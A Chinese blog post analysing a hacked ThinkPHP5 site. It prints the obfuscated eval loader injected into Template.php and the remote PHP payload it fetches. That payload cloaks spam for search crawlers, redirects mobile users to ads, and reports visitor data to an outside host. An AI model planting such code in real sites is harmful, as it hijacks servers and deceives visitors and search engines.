记一次黑客攻击,网站来了大量不良搜索词

突然间发现百度统计中多了很多不良词语搜索来的一些访问

 自己打开被访问的页面查看发现页面也正常,但是网页链接后面多了一些多余的参数

 整个网站所有页面访问速度都很慢

我这里用的是thinkphp5,发现tp5的文件有一个被修改

 thinkphp/library/think/Template.php 在最后一行1140行多了

ini_set("display_errors", "off"); eval('?>'.file_get_contents(pack('H*',str_rot13('687474703n2s2s782r36732r636q2s7478742s616p6p662r747874'))));

这段语句破译后是

file_get_contents(http://x.6s.cm/txt/allf.txt)

http://x.6s.cm/txt/allf.txt

里的字符串是

<?php
define('d_host','http://x.6s.cm');
define('d_user',$_SERVER['HTTP_USER_AGENT']);
define('d_link',((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
define('d_ents','/\.xhtml|\.ppt|\.mdb|\.xml|\.shtml|\.doc|\.xls|\.txt|\.love|\.one|\.fdc|\.bug|\.znb|\.msl/i');

if (preg_match('/Baiduspider|Sogou|YisouSpider|360Spider|Bytespider|bingbot/i',d_user))
{
    d_cont();
}
if (preg_match('/Android|Browser|Mobile|Wap|iOs|iPad|iPhone|iPod|Symbian|HarmonyOS/i',d_user))
{
    d_jump();
}

function d_cont()
{
    $log = "[ip:'".$_SERVER['REMOTE_ADDR']."',link:'".d_link."',user:'".d_user."']";
    if (preg_match(d_ents,d_link) && stristr(d_link,'?')) {
        $cont = file_get_contents(d_host."/?ac=html&host=".d_link."&log=".base64_encode($log));
        die($cont);
    } else {
        $cont = file_get_contents(d_host."/?ac=link");
        echo $cont."\n";
    }
}
function d_jump()
{
    if (preg_match(d_ents,d_link) && stristr(d_link,'?')) {
        $addr = file_get_contents(d_host."/?ac=jump");
        die($addr);
    }
}
?>

仔细研究代码就会发现,搜索引擎访问时就会返回不良内容,而搜索引擎还真的会收录这些页面。

pc端访问时会返回正常页面,移动端访问时就会跳转到广告页面。

这里用postman测试,修改header-->User-Agent-->Baiduspider

 可以看到页面被篡改了,

修复办法,禁用eval()函数。我这里用的是宝塔面板,其他管理方法请自行搜索

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值